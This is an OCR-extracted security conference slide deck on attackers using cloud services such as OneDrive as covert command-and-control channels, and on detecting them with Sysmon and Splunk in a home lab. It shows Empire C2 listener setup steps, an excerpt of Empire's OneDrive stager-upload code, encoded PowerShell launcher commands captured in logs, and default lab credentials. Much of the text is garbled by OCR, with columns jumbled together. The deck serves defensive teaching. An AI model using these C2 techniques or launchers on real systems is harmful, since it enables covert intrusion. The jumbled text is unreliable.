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AGENDA

#whoami

#cat /etc/group

The Problem (Cyber Kill Chain)

Traditional C2 (OneDrive) & Detection

C2 Framework Common Channel

Introducing Custom Command & Control (C3)
C3 Channel — Dropbox

C3 Channel — Slack

C3 Channel - GDrive

Attack Surface using Custom Command & Control
'IVE DEMO

Detecting Custom Command & Control

How we can improve?

Q/A




#WHOAMI

MARK CHRISTIAN SECRETARIO | @iansecretario_
| www.lansecretario.com | www.redteam.blog

Founder of GuideM | Course Developer | Instructor
8 yrs of experience

Sr. Penetration Tester | Security Consultant
Co-Founder of GuideM | Course Developer

OSCE | OSCP | CRTP | CRTE | | CRTO | CCNP | CFR | bk Worlp

CCNA CyberOps e

Interests:
Offensive Security | Red Team | Purple Team |Exploit
Development | Security Architecture | Adversary Simulation




#WHOAMI @m

RENZON CRUZ | @r3nzsec | www.renzoncruz.com
- 8 yrs of experience
Sr. Security Consultant DFIR— National Security (GCC)
Co-Founder of GuideM | Course Developer | Instructor
GCFE | GCIH | eCTHP | eCDFP | €JPT | CFR | ITIL | MCP |
MCS

Speakership:
s - BSides Vancouver 2019
et - BSides London 2019

- BSides Doha 2020

Interests: SOC | Threat Hunting | Digital Forensics | Incident
Response | Malware Analysis | Adversary Simulation




#CAT /ETC/GROUP
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LOCAL HOME LAB SETUP #1

Osquery logs to
Fleet via TLS

Osquery logs to
Fleet via TLS

Osquery logs to
Fleet via TLS

Shoutout to Chris
Long @Centurion for this
detectionlab setup and scripts

—WinRM———p>| | «—WinRM——

Windows Event
Logs via Windows

Windows Event
Logs via Windows

Logger
Ubuntu 18.04
192.168.38.105

Components

« Splunk Enterprise
« Suricata

« Zeek

« Kolide Fleet

« Apache Guacamole

SUR&ATA Services

* Splunk
https://192.168.38.105:8000
admin : changeme

« Kolide Fleet
https://192.168.38.105:8412
admin : admin123#

« Apache Guacamole
https://192.168.38.105:8080
/guacamole
vagrant : vagrant

Q\ « Velociraptor
o https://192.168.38.105:9999
admin : changeme

B\~
* SSH - vagrant ssh logger

| Creds: vagrant : vagrant

Event
‘ Subscriptions

DC
Windows Server 2016
192.168.38.102

Components

« Domain Controller

« ATA Lightweight Gateway
* Sysmon

« Osquery

« Velociraptor Agent

Services

* RDP
Host: dc.windomain.local

A

~|Creds: vagrant : vagrant

Event
‘ Subscriptions

WEF
Windows Server 2016
192.168.38.103

Components

» Windows Event Collector
* Splunk Forwarder

* Microsoft ATA

« Powershell Log Collector
« Sysmon

« Osquery

« Velociraptor Agent

Services
* RDP
Host: dc.windomain.local

*» Microsoft ATA
https://192.168.38.105
weflvagrant : vagrant

Windows Event Logs in
Custom Channels sent to
Splunk via Universal
Forwarder

* RDP

)| Creds: vagrant : vagrant

L

WIN10
Windows 10
192.168.38.104

Components

« Simulates a user desktop
* Sysmon

« Osquery

* Velociraptor Agent

Services

Host: dc.windomain.local

Home Lab Setup for detection
adversary behaviors

Mostly Splunk capabilities with
Bro/Zeek logs for network
detection

Sysmon installed mostly host
artifacts and DNS queries as well

https://detectionlab.network/




LAB SETUP #2 (CLOUD)

 DetectionLab is a fork ;
from Chris Long's o - & i s
Td:m Evlenl orwarder | - A‘ ~ = A

-
v-!

DetectionLab with ELK "
stack instead of Splunk

Perfect for building
effective detection
capabilities

Designed with defenders
|n mlnd ‘Detection Lab ELK

I j Www.cyberdefenders.org

https://github.com/cyberdefenders/DetectionLabELK




LAB SETUP #3 (CLOUD)

Attacker Controlled environment &
* Covenant C2

&
« Empire & Starkiller m -

» C3 (Fsecure)

=

AD Domain Controller SIEM / LOG MGMT
IP:10.10.98.10 10.10.98.20:443 (kibana)
DNS: DCO1.labs.local 10.10.98.20:5044 (logstash)
NBNS: DCO1 DNS: NUX01.labs.local

Log
Management

AD User Server

IP: DHCP

DNS: WSO01.labs.local
NBNS: WS01

« Credits to @Rev10D @Krelkci from DefensiveOrigins and BlackhillsInfosec for a quick lab setup .

https://github.com/DefensiveOrigins/APT-Lab-Terraform



https://github.com/DefensiveOrigins/APT-Lab-Terraform

WHY DO WE CARE?

> (az]
= threat Ost Cloud Security Malware Vulnerabilities Waterfall Security UNIT J
Tools ATOMs Speaking Events About Us

FBI: Ring Smart Doorbells Could Sabotage Cops

DarkHydrus delivers new Trojan that can use
Google Drive for C2 communications

Magecart Credit-Card Skimmer Adds
Telegram as C2 Channel

Latest Articles Software Network Cloud Hardware Tools & Techniques Security Insights threat OSE Cloud Security Malware Vulnerabilities Waterfall Security Spotlight P

How Web Apps Can Turn Browser Extensions Into Backdoors Microsof

Using Slack Web Services as a C2 Channel

(ATT&CK T1102)

s e TR R (] fin]+
| S— Command and control server in

RogueRobin Malware Uses Google Drive as
C2 Channel

Home News Security > Hackers Hide Malware C2 Communication By Faking News e Traffi

Hackers Hide Malware C2 Communication By Faking News Site SOClal medla (Twltter) IHStagram)

Traffic Youtube + Telegram)
March 18, 2020 0506 PM Wojciech

Feb 15,2018 - 1 min read

By lonut llascu




THE PROBLEM

(X =
@ Reconnaissance J

Initial Attack Vector \,0 Weaponization |

Detection &

Access level maturity l “ Defense

' Complexity
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Full Control 1'I




COMMAND & CONTROL 101

C2, CnC, C&C, Command &
Control

Control large pools of
computers

Asynchronous

Client to Server
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C2 HIDING IN PLAIN SIGHT

 Blending with the noise to
disguise as common user traffic
« Common protocols
« HTTP/HTTPS,
SMPT/POP, DNS, ICMP

« Common Applications
 Qutlook, Spotify,
PowerShell, Twitter, Gmail,
Slack, OneDrive
« The more benign the better
« Low and slow traffic usage




COMMAND & CONTROL 101

Infrastructure to carry out remote
communication with the hosts

A number of different transport
mechanisms can be utilized

Some tend to be more stealthy than
the others

Many network security appliances
are trying in various ways to detect
these

But... bypasses exist in custom tools
to get right by




TRADITIONAL C2 COMMUNICATION

1. A user gets compromised. e

2. Attacker establishes @ <
command & S

control channel through the \
user's

\

compromised machine.

3. Attacker issues commands
on demand -
and compromised machine . ~; |
sends callbacks.




MITRE ATT&CK — COMMAND & CONTROL

ATT&CK Matrix for Enterprise

layouts ~ show sub-techniques hide sub-techniques

Initial Access
9 techniques

Execution
10 techniques

Persistence
18 techniques

Privilege Escalation
12 techniques

Defense Evasion
34 techniques

Credential Access
14 techniques

Discovery
24 techniques

Lateral Movement
9 techniques

Collection
16 techniques

Command and Control
16 techniques

Exfiltration
9 techniques

Impact
13 techniques

Drive-by Compromise

Exploit Public-Facing
Application

Command and Scripting
Interpreter (7)

Exploitation for Client
Execution

External Remote
Services

Hardware Additions

Inter-Process
Communication ()

Native API

‘Phishing &) n[
Replication Through
Removable Media

Compromise (3)

Scheduled Task/Job (s)
Shared Modules

Software Deployment Tools

|Accoum Manipulation () E
BITS Jobs

Boot or Logon Autostart
Execution (11)

Boot or Logon
Initialization Scripts (s)

Browser Extensions

Compromise Client
Software Binary

Abuse Elevation Control
Mechanism (4)

Abuse Elevation Control
Mechanism (4)

Access Token
Manipulation (s)

Boot or Logon Autostart
Execution (11)

Boot or Logon
Initialization Scripts (s)

Access Token Manipulation (s)

BITS Jobs

Deobfuscate/Decode Files or
Information

Direct Volume Access

Brute Force (4)

Credentials from
Password Stores (3)

Exploitation for
Credential Access

Forced Authentication

Input Capture (4)

Create or Modify System
Process (4)

Create Account (3)

‘Supply Chain

System Services (2)

Trusted Relationship

‘Valid Accounts (4) ||I

User Execution (2)

Windows Management
Instrumentation

Create or Modify System
Process ()

Event Triggered
Execution (15)

External Remote
Services

Hijack Execution
Flow (11)

Implant Container Image

Event Triggered
Execution (15)

Exploitation for Privilege
Escalation

Group Policy
Modification

| Execution Guardrails (1)

Exploitation for Defense
Evasion

File and Directory Permissions
Modification (z)

Group Policy Modification

Hide Artifacts (g)

Hijack Execution
Flow (11)

Process Injection (11)

Scheduled Task/Job (s)

Office Application
Startup ()

Pre-OS Boot (3)
Scheduled Task/Job (s)

Server Software
Component (3)

Traffic Signaling (1)

Valid Accounts (4y

Valid Accounts (4)

Hijack Execution Flow (11)

Impair Defenses ()

Indicator Removal on Host ()

Indirect Command Execution

Masquerading (s)

Modify Authentication
Process (3)

Modify Cloud Compute
Infrastructure (4)

Modify Registry

Obfuscated Files or
Information (s

Pre-OS Boot (3)

Process Injection (11
Rogue Domain Controller

Rootkit

Signed Binary Proxy
Execution (1)

Signed Script Proxy
Execution (1)

Subvert Trust Controls ()

Template Iniection

Man-in-the-Middle (1)

Modify Authentication
Process (3)

Network Sniffing

OS Credential
Dumping (g)

Steal Application
Access Token

Steal or Forge Kerberos
Tickets (3)

Steal Web Session
Cookie

Two-Factor
Authentication
Interception

Unsecured "
Credentials (g)

Account Discovery ()
Application Window Discovery
Browser Bookmark Discovery
Cloud Service Dashboard
Cloud Service Discovery
Domain Trust Discovery

File and Directory Discovery
Network Service Scanning
Network Share Discovery
Network Sniffing

Password Policy Discovery

Peripheral Device Discovery

Permission Groups
Discovery (3)

Process Discovery
Query Registry

Remote System Discovery

Software Discovery (1)
System Information Discovery

System Network Configuration
Discovery

System Network Connections
Discovery

System Owner/User Discovery
System Service Discovery

System Time Discovery

Virtualization/Sandbox
Evasion (3)

Exploitation of Remote
Services

Internal Spearphishing
Lateral Tool Transfer

Remote Service
Session Hijacking (2)

Remote Services ()

Replication Through
Removable Media

Software Deployment
Tools

Taint Shared Content
Use Alternate

Authentication
Material (4)

Archive Collected
Data (3)

Audio Capture
Automated Collection
Clipboard Data

Data from Cloud
Storage Object

Application Layer
Protocol (4)

Communication Through
Removable Media

putomated
xfiltration

pata Transfer Size
imits

Account Access Removal
Data Destruction

Data Encrypted for Impact

Data Encoding (2)
Data Obfuscation (3)

Dynamic Resolution (3)

Data from Information
Repositories ()

Data from Local System

Data from Network
Shared Drive

Data from Removable
Media

Data Staged ()
Email Collection (3)
Input Capture (4)
Man in the Browser
Man-in-the-Middle (1)
Screen Capture

Video Capture

Encrypted Channel (2)
Fallback Channels

Ingress Tool Transfer
Multi-Stage Channels

Non-Application Layer
Protocol

Non-Standard Port
Protocol Tunneling

Proxy (a) | I

Remote Access
Software

Traffic Signaling (1)

Web Service (3)

xfiltration Over
plternative
Protocol (3)

xfiltration Over C2

xfiltration Over

xfiltration Over
Physical Medium ()

xfiltration Over
eb Service (2)

pcheduled Transfer

ransfer Data to
loud Account

Data Manipulation (3)

Defacement ()

Disk Wipe (2)

Endpoint Denial of
Service (a)

Firmware Corruption

Inhibit System Recovery

Network Denial of
Service ()

Resource Hijacking
Service Stop

System Shutdown/Reboot
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C2 CHANNEL - TWITTER

« C&C channels can take the form of IRC
chatter, peer to peer protocols, generic HTTP
traffic and so on

Adversaries and several malware samples
that appeared recently have also used social
media for C&C

Twitter can be used for DGA too (Domair

Name Generation)

When Bots Use Social Media for
Command and Control




C2 CHANNEL - TWITTER

MINIDUKE

First known activity

Most recent known activity

Other names

C&C communication methods

Known toolset components

Loader July 2010
Backdoor May 2011

Loader: Spring 2015
Backdoor: Summer 2014

N/A

HTTP (S), Twitter V\

0 Downloader
0 Backdoor
O Loader

ONIONDUKE

First known activity

Most recent known activity

Other names

C&C communication methods

Known toolset components

February 2013
Spring 2015

N/A

HTTP (S), Twitter (backup) /

0 Dropper

0 Loader

0 Multiple modular core components
0 Information stealer

0 Distributed Denial of Service (DDoS)
module

¢ Password stealing module

0 Information gathering module

0 Social network spamming module

Twitter as C2
used by APT

COZYDUKE

First known activity

Most recent known activity:

Other names

C&C communication methods

Known toolset components

January 2010

Spring 2015

CozyBear, CozyCar, Cozer, EuroAPT

HTTP (S), _Twitter (backup)

O Dropper

0 Modular backdoor

0 Multiple persistence components
0 Information gathering module

0 Screenshot module

0 Password stealing module

0 Password hash stealing module

First known activity

nt known activity

Other names

C&C communication methods

Known toolset components

January 2015

Summer 2015

HAMMERTOSS, Netduke

HTTP (S), Twitter

0 Backdoor




C2 CHANNEL - ONEDRIVE

GADOLINIUM

Nation-state activity group that has been
compromising targets for nearly a decade with a
worldwide focus on the maritime and health
industries

Rracks the tools and techniques of security

practitioners looking for new techniques they
can use or modify to create new exploit

I I leth Od S . Interestingly, the malware had code compiled in @ manner that doesn’t seem to be used in the attacks we
saw. In addition to the Outlook Tasks APl method described above, the extra code contains two other

ways of using Office365 as C2, via either the Outlook Contacts API (get and add contacts) or the
OneDrive API (list directory, get and add a file).

https://www.microsoft.com/security/blog/2020/09/24/
gadolinium-detecting-empires-cloud/



https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/

C2 CHANNEL - ONEDRIVE

o We are going to make the cloud-based file sharing service a
middle-man to set-up the communication playground between
the target server and the Empire C2

o Assuming that the Empire C2 is properly installed and configured,
we will be using MS OneDrive for the cloud base file sharing C2

Becomes the middle-man between the Empire C2 manages the connection to the
C2 and the Taget Dropbox / OneDrive server through APls

Em— EE—
irewa Yropbox / OneDrive g ra Ee o - S 8 A oL |
Firewall allows Dropbox / OneDrive We connect to the Empire C2
Stager executes and connects to the server for many organizations to manage the connections
Dropbox / OneDrive Server
‘ \ DropBox / OneDrive Server Empire C2 | \
Communica

tion between

the target and the

Dropbox / OneDrive server
is Encrypted by default

Red Teamer
Target




CREATING C2 CHANNEL - ONEDRIVE

Create an application and register

Setup Microsoft account permissions | e SN

Obtain the AuthCode

Run the listener

Azure X & Terms of Use | Microsoft Docs P & https//loginlive.com/oauth20 ¢ X

& https://login.live.com/oauth20_desktop.srf?code:-
https://www.bc-security.org/post/using-the-onedrive-
listener-in-empire-3-1-3/



https://www.bc-security.org/post/using-the-onedrive-

CREATING C2 CHANNEL - ONEDRIVE

Attacker leverages OneDrive as medium to store results from the C2
channel

Complete your OneDrive mission:
Upload your first file

Once Agent has been created delivering the payload through email
would be trivial.

https://www.bc-security.org/post/using-the-onedrive-listener-in-empire-3-1-3/




C2 CHANNEL — ONE DRIVE OPERATIONS

Payload executed on user e
machine e . [l

2aMLPCK3W2 a minute ago WIN10 WIN gl

Rows per page:

Compromised machine
connects through OneDrive

C2channel

pire >
Initial agent MLPCK3W
1- 19:05:10]

2020 19:05:10] "GET /aj Copyright (c) 2020 BC Security |

(empireadmin)

https://www.bc-security.org/post/using-the-onedrive-listener-in-empire-3-1-3/




C2 ONEDRIVE — DETECTION (MITRE ATT&CK T1059.001)

MITRE | ATT&CK

TECHNIQUES
PRE-ATT&CK
Enterprise

Initial Access
Execution

Command and
Scripting Interpreter

PowerShell

AppleScript

Windows Command Shell
Unix Shell

Visual Basic

Python
JavaScript/JScript

Exploitation for Client
Execution

Matrices Tactics ~ Techniques ~ Mitigations ~ Groups

Register to stream the first session of ATT&CKcon Power Hour October 9th

Home > Techniques > Enterprise > Command and Scripting Interpreter > PowerShell

Command and Scripting Interpreter: PowerShell

Other sub-techniques of Command and Scripting Interpreter (7)

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line
interface and scripting environment included in the Windows operating system. [l Adversaries can use PowerShell to perform a
number of actions, including discovery of information and execution of code. Examples include the start-Process cmdlet
which can be used to run an executable and the Invoke-command cmdlet which runs a command locally or on a remote

computer (though administrator permissions are required to use PowerShell to connect to remote systems).

PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory

without touching disk.
A number of PowerShell-based offensive testing tools are available, including Empire, PowerSploit, PoshC2, and PSAttack.l?

PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to
PowerShell's underlying system.Management.Automation assembly DLL exposed through the .NET framework and Windows

Common Language Interface (CLI). [3I4I[5]

Software

Resources ~ Blog @ Contribute

ID: T1059.001

Sub-technique of: T1059

Tactic: Execution

Platforms: Windows

Permissions Required: Administrator, User

Data Sources: DLL monitoring, File monitoring, Loaded
DLLs, PowerShell logs, Process command-line
parameters, Process monitoring, Windows event logs

Supports Remote: Yes
Contributors: Praetorian
Version: 1.0

Created: 09 March 2020
Last Modified: 24 June 2020

Version Permalink

https://attack.mitre.org/techniques/T1059/001/




Iyt Datasets eports Alerts Dashbo arch & Reporting

Eve ntCOd e 3 New Search Save As ¥ Close
Netwo rk Con nection index=sysmon EventCode=3 ComputerName=wef.windomain.local | table _time, RuleName, ComputerName, DestinationIp, ProcessId, ProcessGuid, Image Date time range ¥

v 108 events (10/2/20 2:18:55.104 AM to 10/2/20 10:13:46.832 AM) No Event Sampling ¥ + ® Smart Mode v

Events Patterns Statistics (108) Visualization

100 Per Page ¥ # Format Preview v 14 \

ComputerName Destinationlp Processld
_time + RuleName < $ - $ ProcessGuid = Image =

C d & Scripti
o m m a n c rl p I n g 2020-10-02 :12: technique_id=T1059.001, technique_name=PowerShell wef.windomain 13.107.42.12 {DC9861F0-8DF3-5F76-5208-000000000700} C:\Windows\System32\WindowsPowerShell

\v1.0\powershell.exe

| | I’
I nte rp reterl owe rshel I 2020-10-02 10:01: technique_id=T1059.001, technique_name=PowerShell .windomain. 5 5 {DC9861F0-8EAB-5F76-6908-000000000700} C:\Windows\System32\WindowsPowerShell

\v1.0\powershell.exe

2020-10-02 :00: technique_id=T1059.001, technique_name=PowerShell .windomain. . . {DC9861F0@-8DF3-5F76-5208-000000000700} C:\Windows\System32\WindowsPowerShell
\v1.0\powershell.exe

.
Powe rSheI I executlon 2020-10-02 10:00: technique_id=T1059.001, technique_name=PowerShell .windomain. .190. {DC9861F0-8DF3-5F76-5208-000000000700}|  C:\Windows\System32\WindowsPowerShell

\v1.0\powershell.exe

With n etWO rk CO n n eCtiO n 2020-10-02 :48: technique_id=T1059.001, technique_name=PowerShell .windomain. . . {DC9861F0-8DF3-5F76-5208-000000000700} C:\Windows\System32\WindowsPowerShell
\v1.0\powershell.exe

2020-10-02 09:36: technique_id=T1059.001, technique_name=PowerShell .windomain. . . {DC9861F0O-8EAB-5F76-6908-000000000700} C:\Windows\System32\WindowsPowerShell
OWa r S O . " . \v1.0\powershell.exe

2020-10-02 :31: technique_id=T1059.001, technique_name=PowerShell .windomain. . . {DC9861F0-8EAB-5F76-6908-000000000700} C:\Windows\System32\WindowsPowerShell

(Kali instance in Azure)

2020-10-02 09:25: technique_id=T1059.001, technique_name=PowerShell .windomain. 5 & {DC9861F0-8DF3-5F76-5208-000000000700} C:\Windows\System32\WindowsPowerShell
\v1.0\powershell.exe

2020-10-02 :25: technique_id=T1059.001, technique_name=PowerShell .windomain. . . {DC9861F0-8EAB-5F76-6908-000000000700} C:\Windows\System32\WindowsPowerShell

\v1.0\powershell.exe
2020-10-02 25t technique_id=T1059.001, technique_name=PowerShell .windomain. . - {DC9861F0-8DF3-5F76-5208-000000000700} \Windows\System32\WindowsPowerShell/




C2 ONEDRIVE — DETECTION (SYSMON | SPLUNK)

New Search Save As ¥ Close
index=sysmon EventCode=22 Image=*powershell.exe ComputerName=wef.windomain.local | table _time, ComputerName, Image, QueryName, QueryResults, Date time range v n
v 29 events (10/1/20 2:18:55.104 AM to 10/2/20 10:13:46.832 AM)  No Event Sampling v Job v » & 4 ? Smart Mode v
Events Patterns Statistics (29) Visualization
100 Per Page v /# Format Preview v
EventCode=22 Computeriame
_time ¢ : Image V4 QueryName < V4 QueryResults V4
DNSEvent ( DNS q uery) 2020-10-01 14:24:32 wef.windomain.local C:\Windows\System32\WindowsPowerShell\v1.0@\powershell. 10.0.2.15;192.168.38.103;

2020-10-01 14:17:50 wef.windomain.local C:\Windows\System32\WindowsPowerShell\v1.0\powershell. public.dm.files.1drv.com type: 5 1-0003.dc-msedge.net;::ffff:13.107.43.12;

2020-10-01 14:17:25 wef.windomain.local C:\Windows\System32\WindowsPowerShell\v1.0\powershell 9a5@na.dm.files.1drv.com type: 5 1-0003.dc-msedge.net;::ffff:13.107.43.12;

2020-10-01 14:17:24 wef.windomain. local C:\Windows\System32\WindowsPowerShell\v1.0\powershell. api.onedrive.com type: 5 1-0003.dc-msedge.net;::ffff:13.107.43.12;

2020-10-01 14:07:29 wef.windomain.local C:\Windows\System32\WindowsPowerShell\v1.0\powershell. ::ffff:192.168.38.102;::ffff:10.0.2.15;

2020-10-01 14:06:28 wef.windomain.local C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe wef ::ffff:10.0.2.15;::ffff:192.168.38.103;

2020-10-01 14:00:03 wef.windomain.local C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe live.sysinternals.com type: 5 sysinternalvmssip.uksouth.cloudapp.azure.com;::ffff:51.11.30.100;
2020-10-01 13:59:12 wef.windomain.local C:\Windows\System32\WindowsPowerShell\v1.@\powershell.exe github-production-release-asset-2e65be. s3.amazonaws.com type: 5 s3-1-w.amazonaws.com;::ffff:52.216.128.59;

2020-10-01 13:59:12 wef.windomain.local C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe github.com ::ffff:140.82.121.3;

2020-10-01 13:59:10 wef.windomain.local C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe api.github.com ::ffff:140.82.121.6;

2020-10-02 09:25:29 wef .windomain.local C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe public.dm.files.1drv. type: 5 1-0003.dc-msedge.net;::ffff:13.107.43.12;

m32\WindowsPowerShell\v1.0\powershell. public.dm.files.1drv. type: 5 1-0003.dc-msedge.net;::ffff:13.107.43.12;

def upload_stager(): m32\WindowsPowerShell\v1.0\powershell.& public.dm.files.1drv. type: 5 1-0003.1-msedge.net;::ffff:13.107.42.12;
ps_stager = self.generate_stager(listenerOptions=1listener_options, language='powershell', token=token['access_token'])
r = s.put("%s/drive/root:/%s/%s/%s:/content" % (base_url, base_folder, stagi AGE@-PS. txt"),

data=ps_stager, headers={"Content-Type": "application/octet-stream"}) m32\WindowsPowerShell\v1.0\powershell.exe api.onedrive.com type: 5 1-0003.1-msedge.net;::ffff:13.107.42.12;

m32\WindowsPowerShell\v1.@\powershell.exe Qa5ena.dm.files.1drv. type: 5 1-0003.1-msedge.net;::ffff:13.107.42.12;

if r.status_code == 201 or r.status_code == 200: m32\WindowsPowerShell\v1.0\powershell. EF 10.0.

N}

.15;192.168.38.103;

item = r.json()

m32\WindowsPowerShell\v1.0\powershel public.dm.files.1drv. type: 5 1-0003.1-msedge.net;::ffff:13.107.42.12;

r = s.post("%s/drive/items/%s/createLink" % (base_url, item['id']),

json={"scope": "anonymous", "type": "view"}, m32\WindowsPowerShell\v1.0\powershelX
eaders={"Content-Type": "application/json"})
stager_url = "https://api.onedrive.com/v1.0/shares/%s/driveitem/content" % r
#Differe i some reason?

9a5@na.dm.files.1drv. type: 5 1-0003.1-msedge.net;::ffff:13.107.42.12;

m32\WindowsPowerShell\v1.0\powershell. api.onedrive.com type: 5 1-0003.1-msedge.net;::ffff:13.107.42.12;
son() ['shareld']

m32\WindowsPowerShell\v1.0\powershell.exe WEF 10.0.2.15;192.168.38.103;

self.mainMenu. listeners.activelListeners[listener_name] ['stager_url'] = stager_url

etse: https://qithub.com/EmpireProject/Empire/blob/master/lib/listeners/onedrive.py
rint helpers.color("[! omething went wrong uploading stager"
ﬁess:ge =pr.cont;nt( i senetning ' ° o steser
signal = json.dumps({

'print' : True,

26



https://github.com/EmpireProject/Empire/blob/master/lib/listeners/onedrive.py

C2 ONEDRIVE — DETECTION (SYSMON | SPLUNK)

EventCode=1
Process Creation

New Search

index=sysmon EventCode=1 host=wef.windomain.local ParentCommandLi
CurrentDirectory, Image, ParentCommandLine, CommandLine,

v 4 events (10/1/20 2:18:55.104 AM to 10/2/20 10:13:46.832 AM)  No Event Sampling v

Events Patterns Statistics (4) Visualization

100 Per Page ¥ # Format Preview v

CurrentDirectory

_time # host < s Image < Fd

C:\Windows
\system32\

C:\Windows\System32
\whoami . exe

2020-10-01 14:24:31 wef.windomain

2020-10-01 14:24:31 wef.windomain C:\Windows C:\Windows\System32

Vatue

}I

'TaskingsFolder'
'Description’
'Required’
'Value'

+

'ResultsFolder' :
'Description’
'Required’
'Value'

}I

'Launcher' : {
'Description’
'Required’
'Value'

+

'StagingKey' : {
'Description’
'Required’
'Value'

1,

{

staging

'The nested Onedrive taskings folder.',

True,
'taskings'

'The nested Onedrive results folder.',

True,
'results’

\system32\ \whoami.exe

C:\Windows
\system32\

C:\Windows\System32
\whoami . exe

wef.windomain

C:\Windows
\system32\

wef.windomain C:\Windows\System32
\WindowsPowerShell

\v1.0\powershell.exe

mandLine!="C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" | table _time, host,

Save As v Close

Date time range v g

» & L ?® Smart Mode v

ParentCommandLine ¢

powershell -noP -sta -w 1 -enc
SQBGACgAJABQAFMAVgBFAF IAUWBPAGBATEBUAGEAYgBMAGUALgBQAFMAVEB1AHIACWBPAGBATZAUAEQAYQBKAGBAUgAZACOARWB1ACAAMWAPAHSA]

powershell -noP -sta -w 1 -enc
SQBGACgAJABQAFMAVgBFAF IAUWBPAGBATEBUAGEAYgBMAGUALgBQAFMAVEB1AHIACWBPAGBATEAUAEOAYQBKAGBAUgAZACOARWB1ACAAMWAPAHSA]

powershell -noP -sta -w 1 -enc
SQBMACgAJABQAFMAVgBFAF IAUWBPAG8AbgBUAGEAYgBSAGUALgBQAFMAVEBF AHIAUWBPAESATZAUAEOAYQBGAGBACZAZACOARWBFACAAMWAPAHSA]

powershell -noP -sta -w 1 -enc
SQBmMACgAJABQAFMAVgBFAF IAUWBpAG8AbgBUAGEAY gBsAGUALgBQAFMAVgBFAHIAUWBPAE8ATgAUAEQAYQBJAGBACgAgACOARWBFACAAMWAPAHSA]

'Launcher string.',

True,

'powershell -noP -sta -w 1 -enc '

'Staging key for intial agent negotiation.',

True,
‘asdf'

https://qgithub.com/EmpireProject/Empire/blob/

master/lib/listeners/onedrive.py



https://github.com/EmpireProject/Empire/blob/master/lib/listeners/onedrive.py

. . . lunk>enterprise App: ThreatHunting v Administrator v Messages v Settings v Activity v Help v Find
Event Properties - Event 4103, PowerShell (Microsoft-Windows-PowerShg splunk = 7 g i [¢] ing y p i

Threat Hunting trigger overview Drilldowns ¥ Stacking Tools ¥ Hunting Tools v Hunting Indicators v Whitelist v About v Search THREHT HunTlnE "“‘”’
General Details )]

PowerShell Events i Export +

Time span

CommandInvocation(Get-Date): "Get-Date"

Last 7 days Hide Filters
Context:

Severity = Informational
Host Name = ConsoIeHost Base64 block used

Host Version = 5.1 host_fqdn

_time < indextime s base64_data
Host Appllcatlon

SQBGACQNABOAFM AR A gBMAGUALgBC 2020-10-01 14:18:42 10/01/2020 FMAPQAWAC4AL gAyADUANQA7ADAAL gAUADTANQATAHWAJQB7ACQASEAIACEATABKACSATABTAF SATABTAF OAKWAKAE SAWWAKAF 8ATQAKAE SAL gBDAE 8AdQBOAFQAXQAPACUAMgATADYAOWAKAFMAWWAKAF 8AXQASACQAUWBDACQASgBAADOAJABTAF SATABKAF QAL AAKAFMAWWAKAF 8AXQB9.
QAVABSAHAAZQ 14:18:43

2020-10-01 14:17:21 10/01/2020 FMAPQAWAC4AL gAyADUANQA7ADAAL gAUADTANQATAHWAJQB7ACQASEAIACEATABKACSATABTAF SATABTAF OAKWAKAE SAWWAKAF 8ATQAKAE SAL gBDAE 8AdQBOAFQAXQAPACUAMgATADYAOWAKAFMAWWAKAF 8AXQASACQAUWBDACQASgBAADOAJABTAF SATABKAF QAL AAKAFMAWWAKAF 8AXQB9.
14:17:22

onnection

gBpAHAAdABCAGwAwaJAGsASQBuAHVAwaJAGEAdABpAGSAbg AGBAZwBnAGkAbgBnACCALAAWACKAOWAKADEAZgBFADcAWWANAEGASWBFAFKAXWBMAESAQWBBAEWAXWBNAEE - -
AQWBIAEKATGBFAFWAUWBVAGYAdAB3AGEACGBIAFWAUABVAGWAQBIAGKAZQBZAFWATQBpAGMACGBVAHMAbWBMAHQAXABXAGKAbgBKAGBAdWBZAFWAUABVAHCAZQBYAFMARABIAG E m p| re M u It| / La unc h er Sta g er
wAbABCAFMAYWBYAGKACABOAEIAIWArACCAbABVAGMAawBMAGBAZWENAGKAbgBnACcAXQAIACQAVGBhAGWAFQBFAGWAUWBFAHSAWWBTAGMAUGBpAHAAVABCAEWATWBDAESAXQA
uACIARWBIAHQARgBJAEUAYABMAGQAIgAcACcAcwBpAGcAbgBhAHQANQBYAGUACWANACWAIWBOACCAKWANAGSAbgBQAHUAY gBsAGKAYwASAFMAJABhAHQAaQBJACCAKQAUAFMAR
QBOAFYAQQBMAHUARQA0ACQATgBVAEWADBAASACgATgBFAHCALQBPAGIAagBIAGMAJAAGAEMAbWBMAGWAZ QBDAFQAaQBVAG4AcwAUAECARQBUAEUACcgBJAGMALGBIAEEACcWBOAFM
AZQBUAFsAcwBOAHIAaQBUAGCAXQAPACKAFQAKAFIAZQBmADOAWWBSAGUARGBAACAAQQOBTAFMARQBIAEIAbABSACAARWBFAHOAVABSAHAAZQACACCAUWBSAHMAJABIAGOALGBNAG .
EAbgBhAGCAZQBAGUAbgBOACAAQQB1AHQAbWBLAGEAJABPAGSAbgAUAEEADQBZAGKAIWArACCAVQBOAGKAbABZACCAKQATACQAUGBFAGYALgBHAEUAVABGAEKAZQBSAEQAKAANAGE ® Ad versarvy was a b I e to d e IO th IS
AbQBzAGKASQBUAGKAJABGAC cAKwARAGEAZQBsAGUAZAANACWAIWBOAGEABGBQAHUAY gBSAGKAYWASAFMAJABhAHQAaQBJACCAKQAUAFMAZQBUAFYAYQBMAHUARQAOACQATGB1 y p y
AEwAbAAsACQAVAByAHUARQApADSAfQATAFsAUWBZAHMAJABIAEOALgBOAEUAVAAUAFMAZQBSAHYASQBDAEUAUABPAGKAbgBUAEDAQQBOAGEAZWBIAHIAXQAGADOARQBAAFAAZQB

DAFQAMQAWADAAQWBPAE4AJABPAE4AdQBFADOAMAATACQAdWEDADOATgBIAFSALOBPAEIASgBIAEMAVAAgAFMAWQBTAFQARQBtAC4ATgBFAFQALgBXAEUAQgBDAEWAaQBIAGAAVA pay I Oa d to th e Vi Cti m 'S CO m p u te r
